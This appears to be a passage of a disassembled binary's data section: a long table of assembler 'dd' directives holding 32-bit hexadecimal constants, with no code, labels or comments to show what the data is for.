		dd 3F8DCD99h, 2EFFAE40h, 0B216A7F9h, 0A5F43834h, 27DAE48Eh
		dd 59A060D1h, 0D1CA7FE8h, 0A836A8A7h, 661A2F1h,	0A6BA70E0h
		dd 0C5CDA913h, 73AAFBD4h, 8144B5E1h, 46848C10h,	6038E24Ah
		dd 5FFB2EB3h, 8E45208Ch, 9EDB8E25h, 2C583953h, 2B45FDE8h
		dd 0EB2B0607h, 0ED8D479Eh, 30E17443h, 954CE49Dh, 90304C5Bh
		dd 0E44D449Bh, 0D1C9AE54h, 9C1E882Bh, 7129728Dh, 0AA8CBBA7h
		dd 0D64F5AFFh, 33A233C2h, 0CF842C2Eh, 2A4BC6BAh, 0D26FD415h
		dd 5E80000Dh, 673953F1h, 82C49F7h, 25258323h, 8C64499Ah
		dd 9280AC67h, 0D74E8474h, 592CB9B2h, 0E62B4B2Eh, 5ECA1340h
		dd 398384h, 6C71D9E0h, 7F0AAA94h, 61C7D6AAh, 3750A26Ah
		dd 6FC8BB90h, 2AB2F01Fh, 0E8962D2Fh, 213EFB71h,	0F6686AC3h
		dd 0F6115AF4h, 0E68C33E4h, 7CE9F032h, 0F022A8FAh, 4272C2CEh
		dd 0D0F4E20Eh, 0B4EF6FB1h, 0F383B14Dh, 89F23B38h, 6B2EB3A0h
		dd 46E78085h, 2B8486D4h, 0D0E4BFAFh, 0B9F8459Bh, 30D46767h
		dd 6776F5EEh, 3E5E76B5h, 4DDC1389h, 684AFCBBh, 0AFD6A70h
		dd 0D401BEB8h, 6FCF25BEh, 0CA17DF87h, 7FB078BBh, 0EAC781CAh
		dd 0FEC85379h, 0BA09999h, 6E022CC8h, 0B57A7A6Fh, 0EA9999B1h
		dd 89544182h, 63DAB2D6h, 2D755B81h, 5BC1ED7Ch, 238E864Dh
		dd 0DF2BDF93h, 8BB5275Ch, 0B7DB0BF6h, 0AC15B237h, 0E183ECE0h
		dd 71DB457h, 950DD938h,	490C612Ch, 151C5004h, 0F6449C09h
		dd 22CC6481h, 19617837h, 0B251797h, 0A89B6EB8h,	6431F948h
		dd 45261ABDh, 0F20826Eh, 6C87B188h, 0EBE8621Fh,	7621782Eh
		dd 66034B97h, 317AB3ADh, 22C75113h, 0C655D1C3h,	932ED3B5h
		dd 0A9D8591Ah, 0B5EF8580h, 8C48982Eh, 0E0808777h, 0ACC85AAFh
		dd 1AF1D1E7h, 0F154978Ch, 85ACB03h, 4F815BC0h, 9665F090h
		dd 0A8BBDE7Ch, 857F870Dh, 4C3E5F5Ch, 860FD6FAh,	7A1CAE18h
		dd 2C7A44E4h, 9A904126h, 483B8895h, 490337C1h, 4952CE5Eh
		dd 0EB5D7827h, 0C1F76CAFh, 7406A159h, 432C0CA9h, 0C6F859AAh
		dd 0A9FE128Ah, 4F1D656Bh, 1F24BC3Ah, 246CB745h,	34FBCFABh
		dd 54F086C9h, 66E76A49h, 6004F98Ah, 4B225856h, 0C8FC25C4h
		dd 2F6535F4h, 578A1C66h, 36CCFB6Fh, 0BFEDA87Ch,	51FAB7D9h
		dd 0DF71DC37h, 0FACC5739h, 70B08F11h, 0E877DF90h, 8E713C17h
		dd 8FD01904h, 0EA91E3E1h, 82C0C4D7h, 9D54586h, 10FE2FE5h
		dd 24CEC35Fh, 0EF09A15Dh, 4A9E188Eh, 34659209h,	3F5CFB57h
		dd 4E1B66E5h, 931D344h,	0F74A32C9h, 0EDB187B9h,	0F37EF54Ah
		dd 0F662842h, 0B69A6BABh, 68C30E53h, 2FF408D5h,	0E8C8FD30h
		dd 0BC266008h, 4722542Eh, 82865874h, 0E82335EAh, 0E9F21FCEh
		dd 52E3E052h, 0F6AE248Dh, 74887322h, 0C1AFB983h, 0EF553D7Eh
		dd 9A367E16h, 7D0F32AEh, 0C8ACD829h, 244E8F8Eh,	149EF55h
		dd 0DAB97CFh, 7D267107h, 9A9305B1h, 4430AA11h, 0A5BC3D3Fh
		dd 901D0A14h, 5F5BB822h, 4366E9EFh, 0F58B1AA8h,	5B292F55h
		dd 0AD83CB20h, 0BB8C2262h, 0BF9D831Fh, 58B9C4C2h, 2D2F8156h
		dd 2D629507h, 0C2774B9Ch, 3D63AF3Ah, 357F5ECBh,	0A101063Dh
		dd 5533ACA0h, 0D9D83D66h, 0AF677A77h, 1D67E35Eh, 8993808Bh
		dd 5775325Dh, 0E1B3DAFCh, 0C002BB10h, 0D2449717h, 64688015h
		dd 0CAC4C5EFh, 7338DCD1h, 0E3B8B995h, 11AD789Eh, 73BFBD2Bh
		dd 0C11117C2h, 1F0595F9h, 98C419DAh, 0E2ED15DDh, 773E9CA3h
		dd 0CE77BACh, 76751DE5h, 96676F80h, 666857D1h, 0A24E0D55h
		dd 3AD4F3B6h, 0EFC77223h, 5EEE58F8h, 0DF807D79h, 0C6755090h
		dd 64051DFh, 6A28C8EAh,	0E06D149Ah, 0CEA797E1h,	0CED12F64h
		dd 0E0052202h, 0FD06D4BFh, 4DAA15Fh, 6D9B553Ch,	937F5ECFh
		dd 2BACF29Dh, 569621Eh,	773E9C63h, 4E94E329h, 341089DAh
		dd 3F2E161Dh, 3B6410B3h, 0FC58EC49h, 15BE7C83h,	46D08F8Eh
		dd 0CBE4DA8Dh, 0D6C78509h, 0BE611AAAh, 7DB0A189h, 0C97BE3DAh
		dd 52E04BAEh, 797325BBh, 0E4AB9E0Ch, 0C4BB54E0h, 0DF9BEF46h
		dd 9219D074h, 7AAE7F9Dh, 8A151FA3h, 5CC2B3A3h, 0AB575525h
		dd 84D02AC5h, 0BC00FD9Dh, 0EB9DC1E9h, 2AC8F958h, 0DB563937h
		dd 0DE9A2E0Eh, 0F8C5E95Dh, 73D34FEBh, 0A661E22Dh, 0F9063157h
		dd 10B1491Bh, 6AF6DE49h, 25E24AF9h, 13EC29h, 0CB536498h
		dd 0F32A33D9h, 3B55258Ch, 4A8222B8h, 0D2630D68h, 0EBFD29FBh
		dd 0A4407EDCh, 0F9646790h, 0A8C35784h, 439EA9D3h, 0D9199963h
		dd 52E2CC20h, 99186FF5h, 5700AF43h, 64180AEAh, 0E0922707h
		dd 718C3F49h, 0E3F10C43h, 0F5B32AE4h, 923255C0h, 2908854Ah
		dd 1BBEEB55h, 377AD5BFh, 0DFD67CC4h, 343EECE7h,	138975EAh
		dd 293E80B9h, 0AE8FD735h, 80838049h, 0F6AFB653h, 139BF2AFh
		dd 278E2B5Fh, 0D2D14274h, 0CAC19A13h, 0D6EA81F7h, 2DE784C1h
		dd 1A481ECBh, 9EF66F1Dh, 598A016Ch, 5E64DF86h, 19B6BA0Dh
		dd 5076DE41h, 0EA3B70Ah, 6AB09C0Dh, 81E69D07h, 24FFB49h
		dd 0B120B861h, 0AB841A25h
		dd 848D74A3h, 0AF2180DBh, 2D564A1Fh, 29F31A59h,	8B5FE925h
		dd 7C898D85h, 0D6A62D85h, 0BBC39837h, 0F5611FF0h, 0E192E12Eh
		dd 0E9A85887h, 0A638733Ah, 0BC2279E7h, 0F73B3B0h, 7F713B4Dh
		dd 4E78727Eh, 0B582C976h, 54862FBDh, 28B92CBCh,	0AACF88A2h
		dd 0C6EACD2Ch, 60EF67FAh, 34DA8DD9h, 3F45B4E4h,	0C59F1971h
		dd 56A031Bh, 0BCF0259Ch, 0E73B9F05h, 15D56207h,	0A91081CEh
		dd 71038DF2h, 0FE2A1225h, 0AF155FDEh, 41AA4AC1h, 0E370ED5Fh
		dd 353B44BDh, 0B9F1D50Eh, 0B64FEDA5h, 8EC22644h, 41CC15D4h
		dd 71A9B372h, 0F625329Dh, 7B3881E7h, 0FD69103Bh, 0A5D317DDh
		dd 447942FFh, 45EF0DBAh, 202C1434h, 84B11547h, 6C38BE71h
		dd 102D4894h, 63DEA99Fh, 0F406C0DCh, 8D3C78D8h,	29667386h
		dd 7367E233h, 0C82EBD2h, 72617610h, 0A0204304h,	22C8DA2h
		dd 5F2A5F3Fh, 1B12578Bh, 0E652185Eh, 28970821h,	80E01F51h
		dd 0EC4DE577h, 95E2D4Ch, 0C57E7FBEh, 6D4C9A62h,	8153FA9Eh
		dd 0CBA357D5h, 678CDDF8h, 8DC66E7Ah, 0DBD6D71Dh, 0CBEADFF1h
		dd 4469715h, 0ABAAE1E9h, 414334AAh, 8C620D15h, 1338E54Dh
		dd 79407749h, 0B7302FEDh, 0AE8F3AF0h, 5694316h,	0B39B1E3Bh
		dd 1491F5C9h, 0A0D2929Bh, 0D514A13Ah, 0F24AC6ABh, 0F6A16F02h
		dd 0E00A1C1Dh, 265DBE34h, 70E27DF0h, 300097B1h,	20FCF28Fh
		dd 199CA437h, 0EFCA84A7h, 0A0439C97h, 0D27AA60Eh, 23E91319h
		dd 5FC4ACFCh, 1C7106AAh, 825F45CFh, 0FDCFB6B7h,	8DA68A14h
		dd 62069F10h, 0C671A4F2h, 8D724Ch, 343D4117h, 6C13BEC5h
		dd 403BDF2Eh, 66C54B6Ch, 0F92D8273h, 577A23C9h,	0C9185CB7h
		dd 0FDB643BEh, 0E19D18C2h, 664B302Dh, 1ABA483Bh, 9D7F0715h
		dd 7E9430E8h, 0D566EA3Ah, 5840AD77h, 0D11BA592h, 0C01B5525h
		dd 27D3D562h, 169CE0C1h, 93FB3766h, 7865B761h, 45C46B5Ch
		dd 0A42830F6h, 52C52BECh, 1C0ED587h, 1B6065CFh,	0A8A52728h
		dd 0AFF0262Fh, 0A4468C35h, 7132D5ABh, 0D56865F1h, 89FC5102h
		dd 0F98B960Ah, 27EC9CB3h, 0C97935D3h, 73052BF9h, 2336A3E6h
		dd 678A9DBAh, 6F62EC0Ah, 0AF046988h, 3F047733h,	0F10A1995h
		dd 195E6F8Bh, 7B3118E8h, 0F203A0DCh, 0A90D6E67h, 6ACEF157h
		dd 514788F4h, 0E1972FF4h, 6F282E83h, 3611583Fh,	0C9702524h
		dd 25D408Fh, 34691F73h,	0D821F2DDh, 0F8DDBFF9h,	42986542h
		dd 9F85F3F3h, 2B0FBCD2h, 2907015Ch, 0BDCF92A4h,	0A675B13h
		dd 4D5B8188h, 0C2A55D91h, 0E3F91C61h, 1926F883h, 6A4129B9h
		dd 0AAE851C6h, 9480D7B3h, 4D7E8B3Ah, 7E1C4C24h,	6615451Bh
		dd 3EDB6F68h, 80C0A5A2h, 43A1F560h, 14D6D8Dh, 646D4433h
		dd 5CAD85CAh, 5674D742h, 9A6EC883h, 2AF11BCAh, 6E6AF4A0h
		dd 0CF58BE07h, 0CB0F3F82h, 0BEBF8468h, 232B6037h, 7117469h
		dd 0E71E7830h, 0AAAAA5CAh, 78C3682Eh, 0B18C65DDh, 8C4F98C0h
		dd 1BB89C75h, 4DB7289Ah, 3BCF57B4h, 0B6B68355h,	0C2DF4145h
		dd 964B277Eh, 0CE4653F7h, 8871BA84h, 520E2C18h,	0BEC80459h
		dd 4B878390h, 0E82B8370h, 0C8461F8Fh, 0A4287716h, 50476C8Ah
		dd 994BCCCFh, 0E60758FFh, 9D03C9D1h, 1763365Ah,	0F48E1234h
		dd 988B2749h, 7560DF88h, 4A5AC0CFh, 42864D8Dh, 85592C74h
		dd 81D2A2D9h, 365865A4h, 15090216h, 0DD857C4Fh,	178E5AE3h
		dd 0FAE48211h, 0A3D22662h, 447F688Ch, 9C09A223h, 58EA9362h
		dd 0F1CFE543h, 76C393C5h, 0F564C4CEh, 43FE3348h, 0E2E77C27h
		dd 6BD45C79h, 2779EF7Ah, 8DE4C5C0h, 0E98F320Dh,	8136595Eh
		dd 192122Dh, 4261492h, 0D0A263D6h, 0C6DC58C6h, 746C13BEh
		dd 8A6238FBh, 0AE10A170h, 3D0866CBh, 68CFBDE5h,	0E070B66Dh
		dd 24AF790Ch, 0B6A84FEFh, 0E0D93B14h, 5617A643h, 6281046Eh
		dd 86D4BD5Dh, 76098B20h, 0E9E38BBDh, 0B471C46h,	80EACA1Ah
		dd 42D08889h, 943F7EEh,	5B9E380h, 5ECC1875h, 266189Ch
		dd 4B9CBCEh, 837F5FBFh,	5614E6FCh, 7D4D6A84h, 0C3C9EE4Eh
		dd 63E56203h, 58DF35BEh, 0C277EAB3h, 0C88665DCh, 0B0456D5Fh
		dd 0DA7F94BDh, 0B9DA0257h, 0BCC75AE1h, 0A074ED5Ah, 462F6CF5h
		dd 0BD8A339h, 1C4981Ch,	1BCB98EDh, 0A0B8D2C2h, 8CDF6A2Ch
		dd 0B8228ADBh, 57C3BC8Dh, 8ED18F21h, 0CA3F2DB3h, 0F2954579h
		dd 0FCA33A0Dh, 853776F9h, 0A7C27293h, 9CDF7EC0h, 6EBFB7CCh
		dd 0E5081BAAh, 4A15F32h, 522B964h, 847EA78Ah, 96F889EAh
		dd 0ED427826h, 48D663B1h, 33C96943h, 6DCA6Bh, 0F944E11Fh
		dd 109BE62Ch, 4FF4C6B4h, 3BBF253Fh, 45184935h, 7A483CEAh
		dd 6919D2CCh, 0FB620BB7h, 36A4DCD6h, 0E6F526A5h, 5E7EA4BDh
		dd 8974AE9Dh, 7D6661Fh,	8E6B9AF7h, 0B9DECF45h, 0F4800AFAh
		dd 114F9B4h, 20CD7D5Ah,	962948Fh, 1282D312h, 791A551Dh
		dd 442C72F7h, 6C746641h, 0B8A78951h, 7AD4CB8Bh,	1D99D413h
		dd 767FCBCAh, 0D9F28CD9h, 0E38F394Eh, 35D549D1h, 4498FD0Fh
		dd 0BBEEEC0Bh, 0B81E11F3h, 65311C31h, 14894304h, 384780FCh
		dd 0F738DC52h, 0DC8DB1D3h, 16E76755h, 60A325B6h, 3B667B6h
		dd 0D1F2D427h, 1B30753Bh, 0F25A0C0Ch, 0B75AE809h, 0F215140Bh
		dd 3D32CE78h, 21A3D489h, 0E8D521F7h, 7286F682h,	0CCA7308Fh
		dd 299A708h, 74566AF9h,	0B4D676E3h, 0ADB4A09Ch,	0EC20F8BBh
		dd 9F7C32A1h, 0AF824A93h, 623CF3CBh, 0C314EE05h, 3BE2AAB4h
		dd 31C289F4h, 628B1D20h, 89FDE327h, 5F21E4BAh, 0E9498D83h
		dd 65BC06E1h, 0AB3BF12Eh, 0A5A3907Eh, 1803D4F1h, 9E0D51F6h
		dd 46B8082Ch, 0ED12DA45h, 736E51FCh, 875348B9h,	80D11BBCh
		dd 55753C53h, 681B09Ch,	0D137061Ch, 2331C2BEh, 88852722h
		dd 0F8EC957Fh, 751E24Ch, 25E818Eh, 0FEF5E0D8h, 9D4795C2h
		dd 19AA59Eh, 7E0300FDh,	852824B8h, 459048FDh, 0A646C229h
		dd 0FD951358h, 0D65E773h, 3B36A334h, 0BD548817h, 9DD778Dh
		dd 883DFF45h, 5CCD9A3Dh, 0CFACDA01h, 3867472Bh,	0CBEF00EDh
		dd 2DAF81Dh, 0E58E2474h, 9E1F6437h, 0C292A497h,	4ADA2715h
		dd 90FAAB2Fh, 6CD4603Dh, 0A3406496h, 8F811883h,	60CB7056h
		dd 21C4EFD6h, 5B2E3DFBh, 50624427h, 4D0C7529h, 0E325F725h
		dd 9CF844F2h, 12A69471h, 0B136AF38h, 0E349D08Ch, 6BF194D3h
		dd 8763852Eh, 0A291AC1h, 8FE860CEh, 0B53F10A0h,	4A914E14h
		dd 0C1D63AD4h, 3DD17D71h, 9085C903h, 0B109DAF5h, 11C17E53h
		dd 88893B3Dh, 370CF2AEh, 0B5AEEC09h, 0EC994A22h, 4E27BD87h
		dd 0C423B9Ch, 0F561D358h, 520AB672h, 5FAF3020h,	0F7387314h
		dd 68BE452Ch, 8C00849Ch, 6B488E9Dh, 9083684Ah, 1A93896h
		dd 0C89D33Dh, 0F745B3F6h, 4D521367h, 94119EB2h,	0A2F9520Bh
		dd 0D064D418h, 0B61305Eh, 0A2CC6E1Eh, 6569683h,	26774D4Ch
		dd 949DC8C3h, 7736B4C3h, 29506146h, 0FA1A9449h,	0A07516Fh
		dd 0C11DE1ABh, 86A55045h, 726ECA6h, 0B041BAFAh,	0FD9A5639h
		dd 7492E1F8h, 3CDB255Ch, 0AE8E1525h, 0D03B09F9h, 7D64991Dh
		dd 0F6B4B112h, 0FEAA54A8h, 7F55442Eh, 86CE8F4Ah, 0F56302B0h
		dd 9C2DFC7Eh, 2AABE072h, 0F2525C4h, 0D33C9C16h,	14150F25h
		dd 354E02AFh, 95748959h, 5ACE05EAh, 0FF0B88F4h,	2CE18F45h
		dd 2BF49031h, 0CB36601Eh, 8432D2C7h, 0EF053A24h, 0E50DE001h
		dd 0F34BDC2Bh, 984F9919h, 8F918061h, 2C29517Dh,	89D90F93h
		dd 0C765D671h, 5845FD2Eh, 0A9479ECBh, 0A13282Dh, 38A4AC7Ch
		dd 61356C4Bh, 8E7CF2C6h
		dd 0E5C4D95Dh, 6B4A016h, 0E1EEFEDBh, 23AF7283h,	3EE8212Fh
		dd 5B42047Ch, 0D217C5C0h, 3167473Fh, 717E5552h,	262018CFh
		dd 0D81081A0h, 2CBAC1FEh, 0F9A55BC6h, 0CF01BF7Ch, 0E5B057Ch
		dd 0F185B501h, 0DE9F1B93h, 0BDDF8E57h, 9838FD02h, 8DCCD5h
		dd 14E46999h, 7EC5F8C1h, 0F15349D0h, 0DA661166h, 0E16C055h
		dd 0ED526B5Ah, 2F9BA86Ah, 0BC52E53Fh, 82590CDCh, 0A46B59A2h
		dd 48F6B20Ah, 0C0747999h, 0E35E0639h, 23C10F2Eh, 68CA3E32h
		dd 0B8F774EEh, 4AB2A3E9h, 8F89EF1Bh, 6E6B4837h,	0C36F8907h
		dd 78099C9Bh, 138C6769h, 0DAFF2F0Eh, 74611D49h,	257491C7h
		dd 819CFA77h, 0FE7A4510h, 0ABCC35FEh, 8CAC6105h, 0FD54D3DDh
		dd 0EF24C43h, 843D030Bh, 0FF712991h, 0A56D3E47h, 0C2BE54AEh
		dd 69820C5Fh, 1621DD12h, 8987F92Ah, 0A966597Eh,	1E891538h
		dd 0F784F128h, 0B0748E56h, 6490D0E3h, 1CDF7F9Dh, 23E03417h
		dd 0ED81182Eh, 0C6922188h, 0CA7A7E2Ah, 0A0E51A7Eh, 12897927h
		dd 5164CD5h, 74939B71h,	9360E139h, 9ADDE96Ch, 5483DABh
		dd 5613CA2Ah, 0AB22F587h, 0DE0414BCh, 67C89F53h, 1ECD041h
		dd 0A69D9F48h, 61DFC22Ah, 2D2EAEE0h, 0B94DA066h, 8661B494h
		dd 0D20D13F1h, 9C8C0F62h, 0DC3EA3BBh, 0A40B87AEh, 61FE2E7Eh
		dd 0AEF4BE15h, 0D2FEE9B4h, 4FEEA058h, 776853EBh, 0AC02F9A0h
		dd 0A243D27Eh, 9EF1FA34h, 0DD9B31FCh, 75673307h, 923EEAEEh
		dd 0A5CC7F7Bh, 0F5979D2h, 82B439A2h, 663B3249h,	55483DA2h
		dd 59E8BFF9h, 0A3E38F44h, 0A91ED38h, 9A240D0h, 7DD4574Eh
		dd 150DC73Dh, 1C89F069h, 0E57E33Eh, 653565F7h, 0FF66286Dh
		dd 3305CD7Ch, 89DCA8EBh, 68ACE680h, 5610B8F1h, 7BA7B63Ch
		dd 0FA8890Eh, 5B309AC8h, 6D642D8Eh, 1EC9B844h, 0D19C7982h
		dd 7EEB3221h, 2D673495h, 6E29BA26h, 40D57D4Fh, 0F6E41A54h
		dd 780C34CDh, 4D93C4A0h, 0A857FAF2h, 0F1EF9CAAh, 0E6D2BF4Dh
		dd 403DDF0Eh, 1189FEE2h, 0D4F8BD5Ah, 6E6D2F7Fh,	0A27DDA70h
		dd 39C097E0h, 0A37DC00Ah, 4CE28F67h, 2385F869h,	1381F1Dh
		dd 12167DBDh, 0A5134F02h, 0B183305Bh, 359F6993h, 7A6AD6EFh
		dd 96890CDDh, 94976719h, 204AA42Eh, 0F79F011h, 0B47308EFh
		dd 0F27DEE3Bh, 18FC5F8h, 0AEB312D8h, 0BEE555A5h, 80420B5Bh
		dd 0AC1492C9h, 9848209Bh, 71AEDCB2h, 87C23BEDh,	0EDDCDDE1h
		dd 4A5370E2h, 0E970E34Fh, 23532660h, 506DA175h,	9DD253C9h
		dd 0B264B805h, 8141C1FAh, 9468D824h, 7F7B4399h,	769279F1h
		dd 4C5C174Bh, 5D81E13Eh, 84BD037Ah, 93626708h, 0FD445D87h
		dd 593655C8h, 4BC6D314h, 0E2C6FAD5h, 0F31D06Ah,	0D2E02456h
		dd 0B4879B2Ah, 351D7A99h, 0B8967B4Dh, 29C6D965h, 61764584h
		dd 4C3744C7h, 2E42D7CCh, 0B785F061h, 90F65205h,	2536D4C5h
		dd 6A3D493Ch, 0B38DD4D8h, 0E7B09176h, 0FB794025h, 5A436395h
		dd 20ABECFh, 0A863795Dh, 0F39745C1h, 7F394C07h,	6A34D3FBh
		dd 27D82006h, 5131AA04h, 660AEF5Bh, 60F75E62h, 34D568ABh
		dd 5D4B3D90h, 0ABA41771h, 7977CCAAh, 98820FFh, 16FED797h
		dd 0BE20ED9Bh, 0D4AC1AA3h, 0F0A0D15Bh, 723A8A4Ah, 36DCE502h
		dd 2A3A232Eh, 0A520C3Ch, 23F11C2Eh, 9209AC23h, 0C03B8359h
		dd 7557377Eh, 9A6A5408h, 47A9A5A4h, 7CE0C73Eh, 34D7C595h
		dd 0DE8CABDEh, 0AB8AE681h, 0DFD87C61h, 62CC4009h, 0B844030Dh
		dd 0EE297848h, 2B0056A7h, 7365206Fh, 5C8C8699h,	0E4E945EEh
		dd 3268AE2Fh, 0D84F0403h, 0B7BAA4C8h, 0FD5E3CFEh, 50CC548Eh
		dd 1FFD79DAh, 834495FFh, 969D90F4h, 5425C594h, 465A14A7h
		dd 75E709EEh, 90DE3737h, 0CC03AAF0h, 6295752Dh,	6BD3C1A8h
		dd 29ABDA2Dh, 0F75D8FAFh, 360E624Dh, 0C6817107h, 7996A845h
		dd 7C070102h, 426717Ch,	0F1A12FF5h, 0DAAA14D8h,	0EBA4CEA9h
		dd 0BA834F77h, 0E9C10EDBh, 0E9476018h, 0FE9ACF43h, 435FF7B5h
		dd 0C52E1352h, 136FBD5Bh, 0CFC98B18h, 0A7483A20h, 0E7F9BDF6h
		dd 0C8B1205Eh, 0CE7C3A31h, 5D8111h, 641E5C84h, 7B7A6C21h
		dd 0CA0D692Fh, 471387ADh, 8ADD5703h, 0A7C49B87h, 0BB738BC0h
		dd 0B91A936h, 16A68590h, 665EF741h, 54BCA8EFh, 55988DDBh
		dd 9269CFD6h, 0B8704273h, 0B94E3992h, 263B83C7h, 0A9B11D3h
		dd 0E10372C2h, 0FE25D985h, 45E6461Eh, 8AD774Ah,	0EF14BDA9h
		dd 0ECBEC797h, 0DE02AAABh, 0FE7A3651h, 266E916Bh, 1CF8089Ch
		dd 0F8772B52h, 2846EBCEh, 0B70F5159h, 9BE165D4h, 0CF353F20h
		dd 54B23D56h, 0DA590BC8h, 0AC70849Ah, 0D672DC6Eh, 6B29CED7h
		dd 0DDEE2C2Eh, 0C5CF4208h, 435C6FDBh, 59F53CF4h, 0C028D773h
		dd 0DE5112F8h, 0E4F43FDAh, 451601B3h, 56C38C26h, 9605A809h
		dd 0DF51D0C8h, 0FCFB2071h, 95CB2C1Bh, 116E5A8Ch, 457C5C76h
		dd 6438A1BDh, 3F5BE111h, 0B3A232CAh, 0AD7F14Bh,	6C2FB665h
		dd 89C1B7E9h, 0E07A08A6h, 8FAB50F9h, 0ECAD61AAh, 9F396B9Fh
		dd 0D05D42A5h, 2B307294h, 0F7141417h, 54E0592Eh, 0D28AD416h
		dd 0CFCAE600h, 8365ACFAh, 0DD3F04D0h, 0F0DB26E4h, 13B4BD20h
		dd 3484599Dh, 0D64A6908h, 19C0B8F4h, 0C671D2D4h, 54A5D27h
		dd 46328767h, 0D0D78438h, 569ADF6Bh, 0DA9F1D78h, 0F1F5A433h
		dd 0BF358BB3h, 9C3AB7CDh, 0DDD6563Ah, 72E759A5h, 0DFF8742Ah
		dd 1E9D6F63h, 47F16D17h, 0B92E03D0h, 9B93D88Eh,	1E4B9C59h
		dd 9309D185h, 0FCCCE10Ah, 81AE30ADh, 925BF4A8h,	481B8335h
		dd 3E7D25Ah, 0B2101C0Dh, 0AF0C9465h, 0E55738Dh,	85B919DEh
		dd 5C98BFFh, 634C8AB4h,	97B791Ch, 241EE323h, 0F6240245h
		dd 0BEC7DCB5h, 86E492A5h, 8238C047h, 20DCEEC9h,	0C49A52ECh
		dd 78FC1BDAh, 21CDBE05h, 6D861D67h, 0C24B30B3h,	3A4D3A11h
		dd 1F29B5F1h, 0D05AED3Ah, 0F4DFEDFCh, 82547D39h, 0E50F3E8Fh
		dd 288336C6h, 8434EDCEh, 10FB3D6Dh, 2B5E97A1h, 0DD54758Ah
		dd 63EB4677h, 6221BA7Ch, 0D42BB9h, 0E268A881h, 5FE9C501h
		dd 79F28C48h, 0D8DC413Dh, 6992CCBDh, 3003599Ah,	93315A6Fh
		dd 24BF1FF5h, 7C83FA76h, 8E2C82B8h, 61A035C6h, 1BA4E649h
		dd 3184BFEh, 8DC245B1h,	0ACC346F7h, 0C5631190h,	0C4C27D12h
		dd 0D3C19D91h, 56D6FA4Dh, 59B3EE0Ch, 0A619479Eh, 0F741508Ch
		dd 6E8B7E12h, 52CF95Ch,	63397FC7h, 20F9CA4Dh, 43003736h
		dd 8CF713EEh, 0B5DD7359h, 84FB350Ah, 0FE72A8A3h, 6B30A49Bh
		dd 58D327DFh, 0A580C597h, 21EDCD31h, 7E238F39h,	1A3383Ch
		dd 0C4FB7ED6h, 0D941EB7h, 6495F060h, 0D7E53C4Eh, 18C5EDCAh
		dd 0B9A73FDDh, 0D9D0F327h, 41ACD9CBh, 8E37C4ABh, 87227911h
		dd 791EFBFFh, 13DC144Bh, 0DF3A4F89h, 92F6FAA6h,	2247C6A6h
		dd 0FC5EBE22h, 50B9F6F8h, 8C56070Fh, 5E903F92h,	3DC72A4Ah
		dd 0DEEF9C1Dh, 0C3981754h, 552DDC47h, 87B08F33h, 1EE68F45h
		dd 0FF63666Ch, 0AA997482h, 0A218C76h, 0AF259B60h, 86B5F55Bh
		dd 0E6F9EB4h, 4D43ADB3h, 0B5289AF2h, 9AF6D4C7h,	713272FBh
		dd 42061CAh, 0BDB1CA2Fh, 29CF8E72h, 36DB702Ch, 0B12C9768h
		dd 48B33F3Eh, 659E55E7h, 9CD2D3A4h, 56343181h, 0C961E844h
		dd 459CCA24h, 0FCD05BBBh, 71029CC7h, 0D5AC15C8h, 8497C15Ah
		dd 17E1E995h, 92F2228h,	0D2591304h, 5C541A24h, 0D7C6E302h
		dd 43866AACh, 0CDD9660Dh, 13AB887Ah, 0A0CCB415h, 0A18A1EDCh
		dd 6CE7E0CAh, 1DAE6C48h, 0D0F498E3h, 754ABE21h,	45AA3B31h
		dd 3EB060AAh, 4498FD1Eh
		dd 0CFA233EBh, 6BE04146h, 0AA25B1D3h, 28872869h, 0A0A46BEFh
		dd 7DA38837h, 9558B5A5h, 0E183FD3Ah, 3BB6128Dh,	0C39568F6h
		dd 3F8354F3h, 0F6B00414h, 74A27126h, 2F2CB2DDh,	3CBC5BA8h
		dd 24A62CC8h, 8EC03079h, 0D80377EDh, 34DA6477h,	61B3C888h
		dd 0DB769781h, 0BB5BD96Bh, 0DFDEC121h, 0E3DA6915h, 9604C7E8h
		dd 2E6CE7B3h, 0D7A1874Fh, 0F6BCC14Fh, 97C325A2h, 0F684CB44h
		dd 5CA390CCh, 620D2368h, 70C2271Eh, 6E11EF93h, 31076F74h
		dd 0C13E3F0h, 70B12DF8h, 8D9C3F23h, 0E9F47D1Ch,	0C5FBC5E6h
		dd 161A122h, 137112D2h,	0EDD5EBF8h, 0D85909F8h,	0EF68274h
		dd 59390F83h, 0FB4C7F84h, 0CCA6A092h, 8566DCDBh, 20747027h
		dd 90BA475Ah, 37BEAE74h, 49C2FEE6h, 39742BCBh, 0AE159F50h
		dd 6AA8C9C0h, 10436B27h, 26A57629h, 0AE9D560Ah,	6839586Bh
		dd 0CAA6F575h, 6E34525Eh, 81BD774Ch, 0B4ECCBD6h, 673A53C6h
		dd 6299E17h, 96F0EEB5h,	71A568D1h, 823D493Dh, 23312C2Fh
		dd 7C12406Ah, 8E0C547h,	7EA6D967h, 75DBB76Ah, 0A9FA3F78h
		dd 3179015Ch, 0D4C1E46Fh, 3598B397h, 780BB7D1h,	5C01AFE6h
		dd 998A6065h, 7B846FFBh, 0C02C1D41h, 4A9A4CB4h,	93C6B554h
		dd 76C44E6Fh, 0EAC45F4Eh, 0E82FBDD8h, 672FAF00h, 0D6A21579h
		dd 0EC33B2F1h, 0F95F197Bh, 58B7401Fh, 68BC8EA9h, 0B8279D09h
		dd 9C85A629h, 0ED289407h, 2F1A9B88h, 0C91B0E3Ch, 0B37B87C0h
		dd 0B70A6EC4h, 4A36A0Bh, 976AFF93h, 40B59435h, 0C4349BCAh
		dd 0E3C974ADh, 77EFD3DFh, 5BA3C438h, 32002268h,	4BFF6FABh
		dd 53D6B320h, 5CB7FB83h, 22AB1509h, 5AF0F000h, 7E9291D5h
		dd 15C47C50h, 0F0DF3BFEh, 8A3A3EF4h, 4C260539h,	7CAFD5A0h
		dd 0BE6A9FACh, 0EA0790AFh, 0ED5911D5h, 0BD5C61AAh, 0F1D89D82h
		dd 22BE6930h, 3E5D8209h, 3A2DF9A6h, 0FD4F328Bh,	4C609D1Ch
		dd 0AE3AD6B8h, 3E9800FEh, 0E76608F8h, 2F43C14h,	4A9151B7h
		dd 0BFED73E3h, 5403F058h, 0D411C914h, 0F163A7DFh, 0D8653C6Eh
		dd 0D86004h, 371215F7h,	2FCE3CBFh, 0E23FF6ADh, 0B1ACE2C6h
		dd 0C6FA34F4h, 9003BC69h, 0B90914E6h, 0D28B4594h, 22FA18F7h
		dd 0BD159BA3h, 398DFA9Eh, 6F6CF26Ah, 58AAC31Bh,	60B97AECh
